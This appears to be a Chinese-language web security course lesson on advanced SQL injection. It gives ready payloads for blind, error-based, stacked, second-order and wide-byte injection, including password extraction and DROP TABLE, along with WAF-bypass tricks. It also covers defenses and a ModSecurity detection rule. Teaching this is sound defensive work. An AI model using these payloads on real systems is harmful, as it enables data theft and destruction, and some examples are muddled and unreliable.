高级SQL注入技术

Web安全学习路径 | 模块3 | 课程5

1. 引言

高级SQL注入技术是Web安全领域中最具挑战性的攻击技术之一。本课程将深入探讨各种高级SQL注入技术,包括时间盲注、布尔盲注、报错注入等高级技巧,以及如何绕过WAF等安全防护。

学习目标: 掌握高级SQL注入技术的原理和利用方法,学习绕过WAF的技巧,理解各种注入类型的优缺点。

2. 高级注入技术

2.1 时间盲注

时间盲注通过观察服务器响应时间来判断注入是否成功:

// 时间盲注示例 1' AND (SELECT SLEEP(5) FROM users WHERE username='admin')-- - 1' AND IF((SELECT COUNT(*) FROM users)>0, SLEEP(5), 0)-- - 1' AND (SELECT CASE WHEN (1=1) THEN SLEEP(5) ELSE 0 END)-- -

2.2 布尔盲注

布尔盲注通过观察页面返回的不同状态来判断注入结果:

// 布尔盲注示例 1' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin')='a'-- - 1' AND (SELECT ASCII(SUBSTRING(password,1,1)) FROM users WHERE username='admin')>90-- - 1' AND EXISTS(SELECT * FROM users WHERE username='admin' AND password LIKE 'a%')-- -

2.3 报错注入

利用数据库报错信息获取数据:

// 报错注入示例 1' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT(VERSION(),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.TABLES GROUP BY x)a)-- - 1' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT password FROM users LIMIT 1),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.TABLES GROUP BY x)a)-- - 1' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 1),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)-- -

3. WAF绕过技术

3.1 编码绕过

使用各种编码方式绕过WAF检测:

// URL编码 %27 OR %271%27=%271 // 双重URL编码 %2527 OR %25271%2527=%25271 // Unicode编码 \u0027 OR \u00271\u0027=\u00271 // 十六进制编码 0x27 OR 0x2731=0x2731

3.2 注释符绕过

使用不同的注释符和空白字符:

// 注释符示例 1'/**/OR/**/1=1-- - 1'/*!50000OR*/1=1-- - 1'%0AOR%0A1=1-- - 1'%09OR%091=1-- -

3.3 等价替换

使用等价的关键字和函数:

// 等价替换示例 OR = || AND = && = = LIKE > = GREATEST < = LEAST

4. 高级利用技术

4.1 堆叠注入

利用数据库支持多语句执行的特点:

// 堆叠注入示例 1'; INSERT INTO users (username,password) VALUES ('hacker','password')-- - 1'; DROP TABLE users-- - 1'; CREATE TABLE evil (cmd varchar(255))-- -

4.2 二阶注入

利用存储的数据进行二次注入:

// 第一步:存储恶意数据 1' UNION SELECT 'admin'-- - // 第二步:利用存储的数据 UPDATE users SET password='hacked' WHERE username='admin'-- -

4.3 宽字节注入

利用字符编码特性绕过转义:

// 宽字节注入示例 1%df' OR 1=1-- - 1%df' UNION SELECT 1,2,3-- -

5. 防御措施

5.1 参数化查询

使用参数化查询防止SQL注入:

// 不安全的代码 $query = "SELECT * FROM users WHERE username='$username' AND password='$password'"; // 安全的参数化查询 $stmt = $pdo->prepare("SELECT * FROM users WHERE username = ? AND password = ?"); $stmt->execute([$username, $password]);

5.2 输入验证

实施严格的输入验证:

// 输入验证示例 function validateInput($input) { // 移除危险字符 $input = preg_replace('/[^a-zA-Z0-9]/', '', $input); // 限制长度 $input = substr($input, 0, 50); // 转义特殊字符 $input = addslashes($input); return $input; }

5.3 WAF配置

正确配置WAF规则:

# ModSecurity规则示例 SecRule REQUEST_COOKIES|REQUEST_COOKIES_NAMES|REQUEST_HEADERS|ARGS_NAMES|ARGS|XML:/* "@rx (?i)(select|union|insert|update|delete|drop|alter|create|rename|truncate|backup|restore|load|outfile|dumpfile|shell|exec|system|cmd)" "id:1000,phase:1,deny,status:403,msg:'SQL Injection Attempt'"

6. 实践练习

高级SQL注入实战演练

在我们的靶场环境中,你可以安全地练习各种高级SQL注入技术。点击下面的按钮开始练习:

开始练习